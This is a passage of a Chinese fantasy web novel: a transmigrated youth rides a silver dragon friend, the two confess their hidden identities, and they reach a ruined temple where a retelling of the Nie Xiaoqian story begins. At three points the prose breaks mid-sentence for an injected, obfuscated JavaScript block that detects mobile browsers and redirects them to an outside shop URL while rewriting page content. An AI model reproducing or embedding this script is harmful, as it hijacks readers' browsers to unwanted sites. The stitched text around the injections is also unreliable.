“好,那我们快走。” 李钰牵上马,两人便往回走,见离蛙神祠远了些,李钰才低声问:“行野,你怎么这么厉害,连这种地方神也能打败?” 白行野勾起唇角,“他虽有神力,但并非是受封于天庭的神威,也毕竟不是武神。何况他是蛙,蛇蛙乃是天敌,蛇又称为小龙,有传言蛇妖化龙若走捷径可吞食千年蛙精,更遑论遇到真龙?见了我自然是见面怕三分。” “原来如此,神妖也讲究生物链这一套啊。”李钰恍然大悟。 “什么链?” “呃……没什么。” 二人行至田边,白行野接上车夫,将其扔到马车上。这时才终于问出了早就想问的话,“你说的断袖是什么意思?” 李钰尴尬一笑,“只是应付那一家子的说辞,就是互相喜欢的……同性。” 白行野闻言双眼睁大,“那你意思我们是……” “不是不是!”李钰更尴尬了,摇头如拨浪鼓,“当时情况特殊,借你一用,事急从权嘛。” “我还以为朋友牵手挺正常的,原来这叫断袖。那之前在马车上,我们不也手牵手了?” 李钰心道:你这人什么时候变得这么打破砂锅锅问到底了? “那不是看你手冷吗?我只是好心给你暖暖,那算什么牵手啊?!” 看着李钰气急败坏的样子,白行野暗自发笑,“原来如此。” “我还没说你呢?你倒是问个不停,你隐瞒身份这么久都不告诉我,还装道士!”羞恼之下,李钰顺势问出了心中所惑。 这下轮到白行野张口结舌了,半晌他才道,“此事说来话长。” “一问到你身上就吞吞吐吐的。”李钰自觉扳回一城,也不继续纠缠。说着,两人就要走到庄院了。 “诶,等等!”李钰停住脚步,眼睛亮晶晶地看向白行野,“你说我们回去干嘛?我爹不是让我出去躲几个月吗?我们不就可以去找六郎了吗?” 白行野犹豫道:“这样不好吧?如今已经没事了。” 李钰又想了想,干脆道:“行野,你帮我隔空取物将纸笔取来。我给我爹留个信,我们早点去早点回来就行了。” 对上李钰期盼的眼神,白行野着实不愿拒绝,便依他所说取来了纸墨笔砚。李钰在月光的映照下,快速地将今晚所发生的事简略交代了下来,只是隐去了白行野的真实身份。又称自己和行野还是出去躲一阵,以防蛙神反悔,未免他爹担心,他还保证自己大概一个多月就回来。如此啰啰嗦嗦写了一大页纸,这才将信纸折好,放进还在昏睡的车夫手中。 李钰又问白行野,“你会赶马车吗?” 白行野摇摇头。 “这样啊。”这可就犯难了,李钰还想着如果能和白行野两个人自由自在地游山玩水那就最好,可两人都不会赶车的话…… 白行野哪能看不出他的想法?轻咳一声后道:“反正如今你也知道我的真身是什么了,难道你不想试试凌空而飞?” “可……可以吗?”李钰瞪大了双眼,他问得客气,可眼神中明明都是跃跃欲试。 白行野莫名也有几分暗喜,面上却不显,低低“嗯”了一声。 李钰兴奋极了,赶忙爬上马车将自己的包袱和银两拿了出来,背在肩上。 白行野将他的包袱拿了下来,“放我乾坤袋中,这样拿着不方便。”说这,从袖中掏出一个看起来破破的布袋,包袱靠近布袋口的时候瞬间就被吸了进去,而小小的布袋还是保持原来的大小。 “原来你的东西都装在这里,真神奇!”李钰今晚真是开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101350|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼。 白行野并未多言,直接搂上李钰的腰,“走吧。” “怎么走?啊——”李钰只觉身体一轻,双脚已然离地,风声在耳畔呼啸而过。再睁眼时,自己已被白行野带到空中!往下看去是越来越远的地面,他无处安放的双腿一软,双手不受控地搂紧白行野。 “白行野!这太高了!”李钰叫道。 白行野低头,见他脸色发白,还有些疑惑,“我以为你会想试试飞的感觉?” 李钰是很想,可当真体会到这种双脚悬空于地面那么高的感觉,实在太可怕了!哪怕他再信任白行野,可这生理上的恐惧一时还是难以克服。 就在这时,李钰眼前白光一闪,忽然身下就有了稳稳的支撑,双手搂抱之物也变得更壮实了,白行野已经化为龙形,将他承托在身上了!李钰的手正紧紧抓着的银白色鬣鬃,鬃毛随风飞扬,拂在他脸上生出痒意。李钰微微直起身体,龙角就在面前,细看之下,龙角上面还有细微的绒毛。 青年骑着银龙,龙身在云层间灵活地游动,行云流水如银鱼入海。 “行野。” “嗯?” 李钰压低身体,凑近银龙耳朵说:“你的真身好漂亮,鳞片都闪闪发光的,龙角像珊瑚一样,就是有点小,你还是条小龙吧?” 白行野老实承认:“按龙族的年龄来算我确实不算大,但也比你们人族最长寿的人还年长多了。” 李钰嘿嘿一笑,果然还是条小龙,他忍不住将脸埋进银龙颈间。别人都是吸猫吸狗,但他可以吸龙! 这个世界固然充满神奇,他却从未想过自己有朝一日能和一条龙成为朋友,甚至还能御龙飞天,可谓此生圆满了。他现在忽然一点都不想问白行野,为什么不告诉他自己的身份了,如今种种际遇,已经足够幸运。 他再次坐直身体,伸出手指着前方,中二地喊道:“去吧行野!冲向衢州府!” 白行野似乎感受到他的兴奋,倒也格外配合,龙首昂扬道:“那你可抓稳了!” 游龙身形矫健,却是稳稳地加速在云雾中穿行。李钰心情雀跃,望着夜空中的景色,只觉自己在这一刻似乎连星辰都摘得。 也不知飞了多久,白行野落到一处山间,在那山坳处有一个山洞,他落到洞前压低身体让李钰先下来。李钰的脚再次沾到地面,顿觉整个人都是轻飘飘的,好像踩在云端上。 “夜里寒凉,还是别飞太久了,你身体受不住。”白行野重新化作人形,说道,“今晚在山洞里将就一晚吧。” 李钰自然没有意见。 白行野随意地在一旁的林间比划了两下,树枝应声而断,将那些树枝堆在一起,只用手一点,一簇火堆就成型了。也不知用的法术,现砍的树枝居然能燃烧无烟,李钰啧啧称奇。 又见白行野搬来一些干草铺在洞中,将自己在乾坤袋里的衣袍取出,铺在草垫上,简易的地铺就打好了。 就这么一手,李钰是连连夸赞。 “行了,快来烤烤火,你们人都挺脆弱的。”白行野说道。 李钰坐了下来,感受到火堆的温暖,笑道:“你现在终于可以说你们人怎么样了,之前肯定憋坏了吧?” 白行野也不否认,“确实,毕竟我下山后,是看到了挺多奇奇怪怪的人,包括你。” “哪里奇怪了?”李钰看他笑得跟狐狸一样,撇了撇嘴,却又想起一事,“你说到下山,你当初说你是从华山池来的,我爹说那条小白龙就是从什么山还是池来的,不会也是华山池吧?难道你就是……” 从华山池逃出来的银白小龙,和小时候的李珠儿有交情。他们相遇时白行野那般痛快地答应去李家,再加上相处时他总是话里有话的样子……李钰茅塞顿开,却又百感交集。 27. 交心 “你可算意识到了。”被李钰一提,白行野反而放松了,“没错,我就是那个被王茂才捡到的小孩,也是小龙。” “真是你!”李钰一惊,随即立刻意识到,那白行野和李珠儿是旧识,他当初到府城要找的朋友难道就是李珠儿? 李钰一时之间不知作何反应,心中五味杂陈,更多的竟是浓浓的失落。 “怎么不说话了?”白行野问他。 李钰抬眸看他,白行野也正回视自己,他的目光中带着真切的关心,可李钰却无法直面这样的眼神。行野若知道自己并不是他曾经的朋友,而是借了他朋友身体的无名之鬼,他会怎么对他? 之前的兴奋雀跃,此时如同被一盆冷水泼灭,只觉遍体生寒。 白行野看出他的不对劲,握住他的手问道:“真的受凉了?手怎么这么冷,我给你拿衣服?” “不,不用。”李钰白着脸摇头道。 白行野从没见到李钰这副模样,看上去十分可怜。他坐近了些,伸出手将李钰的头按在自己肩上,另一只手揽住李钰,轻轻拍着他的后背,白行野看过木伯母就是这么哄詹贵儿的。 这突如其来的安抚之举,令李钰身躯一僵,只听白行野叹了口气,又道:“别怕,你在怕什么?我修的是正道,不会吃人的。” 听了这话,李钰想起自己爹之前说那龙好,没吃了李珠儿的事,不由扑哧一笑,从方才的失落害怕还有一丝难言的愧疚中抽离出来一些。 犹豫再三,他还是闷闷地开口道:“你来常州府是为了见李珠儿吗?” 白行野没有隐瞒,“嗯”了一声,接着说:“不过我来的时候,李珠儿已经死了,然后他身体里的灵魂就换成你了。” 他的话听上去并不带情绪,却让李钰仿佛听到世界崩塌的声音,他呆呆地坐直了身体,不敢置信地看向白行野。 “你……你早就知道了?”李钰听见自己嗓音干涩地询问。 白行野点头,“一开始就知道,我本来只是想去看看就走,谁知道却目睹了李珠儿被鬼差带走的过程,还跟着去送了他最后一程。我本想回李家看看后续如何处理妖僧,却又遇到了那虎视眈眈的小鬼,也就是贵儿,他也想借尸还魂。没成想被我的出现吓到躲了起来,紧接着就等来了你的苏醒。” 李钰脑海中灵光一闪,一个被遗忘已久的画面浮现在眼前,“那么当时我醒来看到的房梁上一闪而过的白影,就是你?” 白行野笑了笑,“是我。” “小贵儿也知道你的身份?” “是我不让他讲的,他不敢不听。”白行野替远在李家的詹贵儿辩解道。 “好啊,你们俩瞒我这么久!”李钰愤愤道,“那你后面是不是故意接近我?你不会是想收了我吧?” “……”白行野没有立刻回答,过了会儿才找补道,“只是一开始不知你从何而来,意欲何为。” 李钰拉开和白行野的距离,又气又委屈,“你还真想过收我!我也不是故意借李珠儿的尸身还魂的,不知道为什么我死后再度醒来就在他身体里了。” “我也并没收你。”难得看到李钰紧张又生气的模样,白行野竟觉有趣,忍住笑辩解道,“世间太多奇事异事,借尸还魂之事也并非个例。我当初对你虽有警惕但更多是好奇,想看看你这个不知从哪里来的魂魄到底想干什么,这才以道士身份接近你。可后来相处之后却发现你未曾做恶,倒是做了不少好事。” 看着李钰渐渐放松下来,白行野继续缓声道:“况且跟你在一起的日子是挺有趣的,还顺便让我积累了不少功德,我才继续留了下来的。” 听他说的话和语气似闲聊一般,如此简单又轻松,李钰觉得自己方才七上八下的担忧简直多余,语带抱怨道:“所以你留下来就是为了积累功德?” 白行野一怔,软声道:“我不是说了,是因为和你在一起挺有趣的吗?积累功德当然是遇到了便顺势而为。我其实也不算骗你,我虽龙身却也修道,师父让我来红尘历练,修行心境并积累功德,是因为我能化人形,却不通人性、不知人心。修炼一途,对人来说出世是一种方法,对我而言,入世却也是一条道路。” 李钰琢磨着这句话,他不懂修炼,却也觉得似乎有些道理,他问:“你师父是谁呀?” “你应该知道他,但他老人家不愿我在外面提他,就不说了。” “好吧,看来你师父应当是个有名的仙人吧?”李钰试探着问。 “算是吧。”白行野不否认,又将问题抛回给李钰,“那你呢?究竟从何而来?现在可以告诉我了吗?” 对方说了这么多,李钰也不好意思再隐瞒了,但他之前的人生太过平淡,只简略道:“其实我不是这个时代的人,而是来自于几百年后的世界。在那个世界仙妖鬼魅都是话本子和传说里的,人们或许会看这类故事,但大都并不相信。” 白行野似乎不是很惊讶,“难怪你的想法和做派,总是异于常……异于当世之人。” “或许是有一些吧。”李钰自己也不清楚其中具体的差异表现,继续道,“而我呢,也只是出生在一个很普通的家庭,至小免疫呃,体弱多病,倒是没什么大病,可陆陆续续小病不断。谁知一场疫病降临,那一次我没能挨过去……还以为死后会去地府或天堂报道,结果却莫名穿越了时空,借了李珠儿的壳子还阳。” “或许你来到此处乃是冥冥之中自有定数。既来之则安之,不要多想,也不用担心我会收你。”白行野没有丝毫质疑地接受了李钰的说辞,还反过来打趣他,又言,“倒是很庆幸,你的从天而降。” 白行野何时说过今日这般多的好话,李钰知道他挖空心思,不过是想让自己安下心来,也不再矫情,“好吧,如今你我二人都坦诚相见了,今后我们就还和从前一样!” “好啊。”白行野痛快答应,“今天你也累了,快睡吧。” 李钰其实还有好多想问的,但是这一天经历的事情、接收的信息实在太多了。紧绷的神经在二人长谈一番后骤然放松下来,困意顷刻席卷而来,他依言躺在草垫上,很快进入了梦乡。 在梦中他依旧骑着银龙,白行野带着他飞到了更高更高的天空,星辰闪动着绚丽的光芒,就在眼前,触手可及。他一伸手,真的摘下了星星,比抓萤火虫还要简单。 星星怎么可能被抓在手里呢?夜空中星星大都是恒星,还没靠近就被烫死了吧? 李钰在梦中自嘲地想,忽觉得鼻尖痒痒的,很想打喷嚏,就这样被痒醒了。一睁眼,发现自己抓着昨日才见过的银白鬃毛,他的脑袋枕在银龙的脖颈间。一瞬清醒,这才看到自己的身体也蜷在龙身上,大概是白行野怕他晚上冻着,睡不安稳,才又变出龙身让他倚靠。 这一夜好梦竟是这么来的。 “你醒了。”白行野道,他比李钰更早醒来。 李钰“嗯”了一声,不好意思地爬了起来,走到洞口装作伸懒腰,心道:这小银龙也太贴心了。 山洞外,是山中的清晨特有的雾气弥漫,离开了银龙的怀抱,李钰也觉出些秋日的寒凉之意了。 白行野也出来了,换了身玄衣,还是李钰之前让人给他做的,果然显得更加高挑挺拔了。他说:“今天我们还是快点到城郭里去吧,好好吃点东西,找个客栈住。” 李钰自然同意,他这会儿肚子都有点饿了,还很口渴,道:“好,今天我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101351|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一鼓作气就到衢州府可行?” 白行野化出龙身,银龙骄傲地扬扬脑袋,“这有何难?” 李钰笑了,不再多言,立刻熟练地骑上龙身,将自己上半身都缩进白行野颈间那暖烘烘的鬃毛里。 见他坐稳,银龙腾空而起,继续两人的行程。 李钰在空中欣赏着地面上的景色,因为整个人都被龙身撑着,昨晚又骑过一次龙,现在连最后一丝恐惧都没有了。又飞过了一些村落、城郭,更多的是绵延的山川,山河美景尽收眼底,心中不禁涌出无尽的豪气。前世因为身体原因,飞机都不曾坐过的李钰,此时尽情享受着与白行野遨游天空、俯瞰山河人间的每时每刻。 不久后,他看到一处较大的建筑,在空中都能远远瞧见高大的殿宇和塔楼,想来是一处寺庙。 李钰忙道:“行野,我们要不先去那座庙里面讨点水喝,我太渴了,你也休息一下吧。” “好。”白行野答应,为防吓到人,特意在离那处庙宇还有一段距离的山路上落下。两人又脚步利落地步行过去,片刻功夫就来到寺庙跟前。 寺庙牌匾上书“西峰寺”,细看才知,这偌大的寺庙居然是个荒寺。墙内的蓬蒿长得比围墙都还高了,寺门更是破败,虚掩着门扉。 李钰大失所望,明明在天上看着里面殿宇又多又大,还以为是座香火鼎盛的寺庙,没想到居然是个荒寺。 “走吧行野,我们还是直接去城里吧。” 可白行野没搭话,蹙眉观望着西峰寺。 “怎么了?”李钰好奇地问。 白行野沉声道:“这里面有好重的妖气和鬼气。” 自从知道了白行野的身份和本事后,他听到鬼妖更不觉得有多可怕了,反而好奇道:“什么妖物,能有你厉害吗?” 白行野摇摇头,“暂且看不出。” “那我们要进去看看吗?” 白行野挑眉,“你不害怕?” 李钰一挥手,“有你在我怕什么,再说你不也要多积功德吗?若是什么凶恶之物,将它灭了,免得为祸人间,那不也是功德一件?” 白行野笑道,“我师父说过,不可以计较得失之心来积累功德,而是遇难则帮。” 李钰心想哪来这么多规矩?抬手就推开寺门走了进去,回身对白行野狡黠一笑,“如今一个无辜之人可能身处险境,你不进来救他吗?” 白行野看着少年意气的李钰,那透着捉弄的得意神情,曜曜如日光,万物都失色。他失神片刻,抬脚走进寺中,也笑道:“你说的有理,那我只能奉陪到底了。” 西峰寺中杂草丛生,树枝和藤蔓张牙舞爪的乱长一通,好歹没把路都给掩盖住。四周只有风吹草动的簌簌声,以及不知名的虫鸣鸟叫,却更显得寺中幽静诡谲。 寺中东面种着一大片竹林,竹影交错就像藏着什么人,还好不是晚上过来,不然得被李钰自己脑补的画面吓死。倒是那竹林前的池塘中,盛开的野荷花,别有一番景致。 二人四处查看了一番,并未发现什么异样。正要进房内看看,李钰随手就准备打开一间厢房进去,手才刚刚触到门,那门居然自己从内打开了。 “啊啊啊啊啊啊啊啊啊!”李钰被突如其来变故吓到。 “啊啊啊啊啊啊啊啊啊!”而门内之人也被迎面而来的两人吓了一跳。 “哈哈哈哈哈哈哈哈哈……”白行野忍俊不禁,朗笑出声。 李钰怒道:“你早就知道有人!就看我笑话是吧?” 门内那人闻言安下心来,“原来是人啊。” 开门的是一名青年,穿着一身棉布直裰,眉目还算英俊,看起来温文尔雅,应当不是坏人。 28. 聂小倩(一) 李钰拱手道歉:“未曾想此处还有人,惊扰了兄台还望见谅。” 那人也冷静下来,回了一礼道:“无妨,小公子也是来此地借宿?” 李钰道:“我与朋友本是路过想来讨口水喝,没料到寺庙已经荒废。” “原来如此。”那人大方请两人进屋,“若不介意,我这里有热水可让两位一解干渴。” “这多不好意思。” “没事,这里的水井并未干枯,我今早打的水刚烧好一会儿,你们来得正是时候。” 李钰便不再客气,和白行野一同进了门。 仔细打量了内部的环境,这里之前当是僧人的厢房,除了家具破旧了些和没有被褥外,倒也能住人。床看上铺着干草和衣服,这人想来也只是暂时在此处落脚。 青年给李钰和白行野倒上水,好心道:“我来此处本是有事要办,适逢各府会试,这个时期城里旅店、客栈价格实在高昂,还很难订到房,因此暂居于此。如今城中恐不好寻空余的旅店,二位若不嫌此处破败,竹林那儿有房间还空着。” 李钰客气谢过,“不必,我们来此是有要事得去邬镇,过会儿就得继续赶路了。” “邬镇?那不是在衢州府吗?可这里是金华府啊。”青年奇怪道。 李钰和白行野对视一眼,面面相觑。衢州府在金华府西南边,两地相邻,两人也不知什么时候走错的,误打误撞到金华府来了。 青年笑道:“想必二位寻错了方向,两府相邻是容易走错,好在也不远,都是挨着的。” “那就好,多谢兄台提醒,敢问兄台如何称呼?” 青年道:“不敢不敢,在下姓宁名采臣。” “什么?!你是宁采臣!”李钰这一声高呼将宁采臣又吓了一跳,白行野也不解地看向他。 宁采臣迟疑着问:“公子难道认得我?” “啊……不是,只是觉得这个名字很特别、很好听。”李钰赶紧镇定下来,随口胡扯了个借口。 他是宁采臣,真的是那个宁采臣吗?可这里不是西峰寺吗?又不是兰若寺。 哦,对了!李钰忽然想起他来到这里以后才知道的事,这时候的人们常将寺庙称之为兰若,兰若并非是一个特定寺庙的名称。 难道说这西峰寺才是「聂小倩」的故事发源地? 有宁采臣在,还在破庙之中,那这是不是说明小倩也在这里!李钰一下来了兴趣,要知道他小时候最喜欢的就是王祖贤扮演的小倩了。那种极致诡魅又凄美的女鬼形象,后来他再也没有见过,也是因为这一版的小倩,他才去看了《聊斋志异》中「聂小倩」的原文,结果原文的故事结尾却让他大失所望。 也不知道宁采臣如今遇到过小倩没?那燕赤霞是不是也在这里? 于是李钰问道:“小弟李钰,这位是白行野白道长,今日我们也在这里休整一下吧,除了你这里还有别人住吗?” 宁采臣答道:“南面的厢房也住了人,那人姓燕,应当是个书生。你们若要住下,东边的厢房够大,两人同住也无妨。” 李钰一听心下暗喜,如今他总算知道了,那些对事情如何发展了然于心的穿越文和重生文中的主角有多爽了。 你以为人家是个书生,可没想到人家燕赤霞是个厉害的剑仙修士!之后可帮了你和小倩不少忙呢。 三人又客套地寒暄了几句,李钰和白行野就离开了宁采臣的房间。 白行野早看出不对,问李钰:“马上就能进城了,你怎么忽然就要留在这儿住?这里破破烂烂的,早点把妖物揪出来了结了才是正事。” 李钰自然不能提这是话本中的故事,搪塞道:“大白天的什么鬼啊妖的,肯定都躲起来了,哪能轻易被找到?不如我们就等到晚上,他们若要害人,自己就上门了,这就叫守株待兔!” 白行野直勾勾地盯着李钰,似要看出什么破绽,李钰强作镇定面不改色,又道:“你看,这里还住了两个人,若是晚上受这鬼妖侵扰,甚至是被索命那还了得?救人一命胜造七级浮屠,我们就在这破庙里将就一晚吧。” “那是佛教的说法。” “都差不多。”李钰摆摆手。 白行野又问:“你认识那宁采臣?” “我连府县都没怎么出过,哪里去认识是什么宁采臣?我都说了就是觉得他这名字挺好听的,你不觉得吗?”李钰糊弄道。 也不知白行野信没信,他勾起唇角道:“我倒觉得‘李猪儿’这个名字更好听。” “白行野,你现在真是越来越会阴阳人了。” “这叫近朱者赤,近墨者黑。” “方才看我笑话我没说你,你还蹬鼻子上脸!”李钰握拳作势要打,可他哪里打得到白行野?那闪避的身法用在两人的玩闹上,简直是杀鸡焉用牛刀。最终白行野大放水,让李钰成功给了他不痛不痒的一拳才消停。 过了不久,两人把厢房收拾到勉强能睡人的程度,怎么也比在山洞里睡好。白行野给李钰打下一个护身咒,就去城里买吃的喝的去了。 可白行野刚走,李钰就闲不住了,仗着白日里妖物和小倩都不会出来,来到南边的厢房前敲响了门。 一个少年人打开了门,疑惑地看着来人,“你是?” 李钰看着面前这个带着点书卷气的少年,心情颇为激动,这根本不是电影里演的大胡子大叔嘛!他像给鸡拜年的黄鼠狼,恭敬道:“在下李钰,和朋友一道也是来这借宿的,听宁兄说南边房间也有人住,特来打个招呼。这几日大家都在此处住着,平日里还请多照顾了,你有什么缺的东西,也可以来找我们。” 燕赤霞上下打量了他许久,把李钰本来高昂的情绪都给浇灭了几分,才不咸不淡道:“哦,我知道了。” 说着,对方就把门关上了。 李钰僵在门口陷入反思,难不成他真的太过热情,让燕赤霞觉得自己真是无事献殷勤,非奸即盗不成?哎,失策失策。 垂头丧气地回了房间,李钰躺倒在干草铺就的床上滚来滚去,既然燕赤霞不理他,他就等着晚上小倩上门! 趁此闲时,他快速在脑海中梳理了一下原著中的剧情,要说到这原著前半部分其实大概内容和电影差不多。就是小倩受夜叉控制,强迫她和其他鬼魂妖精夜里在破庙中勾引借宿的过路人,然后趁机夺取对方性命。因宁采臣不受其蛊惑,小倩敬重其人品,便向其托出实情并求助,最后在宁采臣和燕赤霞的帮助下成功脱困。 只是后来让李钰大跌眼镜的是,原著开篇宁采臣就常对人说,自己“生平无二色”,也就是说自己不曾外遇,也不纳妾。他家有一个生病的妻子,可他替小倩收敛了尸骨以后,在小倩的央求下,瞒着病妻将小倩带回家,且以兄妹相称,小倩更是操持起家里一切事务,将宁采臣的母亲也当婆母伺候。在宁采臣妻子病死后,小倩也成功还阳,两人顺理成章地在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101352|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,还生了两个孩子。最让李钰生气的是,宁采臣最后还是纳了妾,与妾室也生了孩子,这算哪门子的“生平无二色”? 这些在古人看来可能并没有什么,宁采臣的刚直、仗义和善良,在一开始不受小倩财色相诱,以及救助小倩的过程中,都足以说明他称得上是个正派之人。可到后来故事的发展却流于俗套,不论是宁采臣接纳小倩带她回家,还是小倩为奴为婢也要报答恩人,甚至是在家中有病妻的情况下。更别说后续还纳妾,都让李钰感到和前面的故事相比也太割裂了,滤镜都碎掉了。 李钰想到这里就觉得烦,若事情的发展真是这个样子,还不如让他和白行野去救小倩,他一定找个风水宝地好好安葬小倩尸骨,助其早入轮回,就此解脱! “咦?”那这么说起来,小倩也是书中夜叉手下的伥鬼,为何后面她能还阳?甚至她手上还沾过人命。而詹贵儿在李家住了这么久,每日接触这么多人也没还阳啊,一开始他还只想借尸还魂,这又是怎么回事? 正想着,白行野回来了,随着他进门,李钰立刻闻到了烤鸡的香味!他一个翻身坐起。 “行野你回来了,带了什么好吃的啊?” 只见白行野拿着一大篮食盒,两个油纸包,还提了两坛酒。 他将食盒打开,边往外拿边说:“这些东西又不好放乾坤袋里,只能这样拿,真麻烦。” 李钰嘿嘿笑道:“辛苦我们白道长了,回去了我请你吃更好的!” 白行野笑笑,又打开油纸包。 “哇!叫花鸡!”李钰两眼放光,跟着白行野的动作报起菜名,“还有盐水鸭、蜜汁伙方、蟹粉狮子头!还有我最爱的松鼠鳜鱼!” 白行野忍不住调侃道:“这么馋?” “这不都是我爱吃的吗?全是荤菜,大手笔啊白道长。”李钰竖起大拇指。 白行野坐了下来,“小意思,反正都是用的你的钱。” “你还真是不客气啊。”李钰咬牙道,但其实他也不在意,以前行野是李家供养的白道长,如今在李钰心里,已经悄悄地将白行野当作自己豢养的小龙了。他心里暗笑,要是被白行野知道他这么想,肯定气到他跳脚。 美食当前,不再多想,李钰拿起筷子就开吃了。看他吃的开心,白行野也食指大动,明明有酒,两人看也没看,自顾自地大快朵颐起来。 一顿酣畅淋漓的大饱口福后,李钰顺势睡了过去,睡之前还找了一个特别正当的理由,为了晚上守株待兔,因此白天得好好休息。白行野也接受了这个理由,也睡了个回笼觉。 当晚,月照半床。 宁采臣点着一豆烛火,正在翻着一本书,只是这书并不太看得进去,想起昨晚的事总是有些心神不宁。 此时,门外传来轻叩门扉的声音。 “笃笃笃笃……” 宁采臣心头一紧,她又来了!他腾地站了起来紧紧攥住手中的书,那女子究竟要做什么,为何这般死缠烂打? “公子。”女子柔媚的声音从门外传来。 宁采臣没有理会,屏息凝神注意着外面的动静。 “吱呀——”门开了。 借着朦胧的月色,只见门外一女子款款迈步进了房中,莲步轻盈,弱柳扶风,女子抬起头来,容色极是惑人,一颦一笑皆是风情,眼波流转动人心弦。 那女子语气带着委屈,“公子既在屋内,何故不愿为小倩开门呢?” 29.聂小倩(二) 宁采臣一挥衣袖背过身去,“姑娘夜会男子恐不合礼数,还请速速离开,莫误了姑娘名声。” “名声?何谓名声?”聂小倩浅浅苦笑,“我不过是仰慕公子才学和人品,想与你彻夜长谈,公子何必如此揣测我?” 宁采臣心中冷笑,昨夜邀我共赴云雨,今日换成了彻夜长谈,如此巧言令色,究竟有何目的? “若姑娘真有事相谈,可白日来此,何故半夜做出这等瓜田李下之事?” 聂小倩语塞,这人居然如此难搞,接连两天的色诱都失败了,今晚更是背过身去不看她,看来只能以财帛惑之。聂小倩伸出手,雪白柔荑上是一块手掌大小的金锭。 她柔声道:“昨日已知公子乃是正人君子,是小倩叨扰良多,特来道歉。公子夜宿荒寺想必是在外有诸多不便,特此奉上金锭一枚,以资公子。小倩不求回报,只是仰慕公子人品,愿略尽绵力。” 话落,她便将那枚金锭放在桌上,磕出不轻不重的声响。 宁采臣回头一看,果真是好大一枚金元宝!可他的脸上不见一点喜色,反而怒斥:“这等不义之财,岂不是污了我的口袋!” 说着他拿起金元宝快速走到门外,狠狠将其掷到庭院中。 躲在屋外的李钰和白行野都被此举惊了一下。 白行野低声道:“这人真奇怪,不爱美色也不爱金银,我以为这两样东西是世间人最爱。” 李钰轻哼一声,虽然他对宁采臣之后剧情颇为失望,但宁采臣此时此刻,包括后续仗义救助小倩的行为,确实也是称得上一声“正人君子”。他忽然觉得自己对待生活在封建时代的人,想法是不是太过严苛了? 便对白行野道:“你也太小瞧人了,并非人人如此,不被这些这些身外之物所迷惑,才算是正人君子啊。我也不被这些东西迷惑,你说是不是?” 白行野侧目看他,打趣道:“你嘛,美色还好,金钱有点。” 面对白行野言简意赅下的定义,虽知他在玩笑,李钰仍龇牙咧嘴地作威胁状,又不敢闹出动静,只待之后算账。 白行野憋着笑使了个眼色,两人又继续观察情况。 聂小倩见宁采臣扔掉金锭,瞠目结舌不敢相信,世间竟真有这样的男人!既能坐怀不乱,又不为钱财所动。这样刚直之人,若我求他助我,是否会愿意救我脱离苦海? 宁采臣冷冷道:“你还不走?” 只见聂小倩忽然泪水盈眶,整个人跌坐在地,泪水也跟断了线的珠子一样簌簌落下。 宁采臣本来愤怒的心情被这一搅和,立时乱了方寸,“你离开便是,何故做此情态让人误会?” 聂小倩哽咽道:“公子有所不知,小倩此举实非我所愿。公子若与那些俗人一样,被财色所迷惑,那如今定也性命不保!” 宁采臣心下一惊,“这是何意?” “不敢再欺瞒公子,我本是良家女,可福薄命短,十八岁亡故,尸身被家人草席一裹埋于寺外。哪料到死后未等来勾魂使者,却被这里的一个夜叉捉住了魂魄,为他所控。那夜叉极其凶暴,酷爱食人!在他的逼迫下,我只能帮他戕害过路之人。”聂小倩面露挣扎之色,还是决定和盘托出,“若昨夜公子答应与我交好,我便会趁你疲惫之际,在你身上戳出小洞,取你全身血液供他饮用;而那金锭实则为罗刹鬼骨,若公子刚刚收下,那鬼骨就会化作利爪挖取你的心脏,供夜叉食用。” 宁采臣闻言骇然,幸好自己未曾被其所惑,竟然是如此歹毒的伎俩! 只听聂小倩继续哭诉道:“这些年,我确实在夜叉逼迫下,不得已害了不少过路人的性命。那夜叉明明可以自己抓人,但却控制我这等低阶鬼物,设下财色两计,以此为借口夺人性命,装作那背后高高在上的审判官,实则只是满足他的私欲。我见过的男人太多了,无人不为财色二字丢掉性命的,哪里想到这世间竟真有公子这样刚直至此的圣贤之人?公子如此德行,小女子敬佩之至,才将一切如实托出,只求公子伸张正义,救我于水火。” 聂小倩深深拜下去,“小倩被迫害人,内心日夜煎熬,魂魄却被夜叉所控,不得超脱。求公子救救小倩,小倩愿为奴为婢以报公子大恩!” 一开始还惊骇愤怒非常的宁采臣,在聂小倩言辞恳切告知自己被迫作恶的经历后,慢慢冷静下来。这小倩又哭得梨花带雨,看着实在惹人怜,死的时候又那般年轻,如果她真是被夜叉恶鬼所控,不妨先听她说说相救之法,再做打算。 他问道:“你且说来,应当如何救你?” 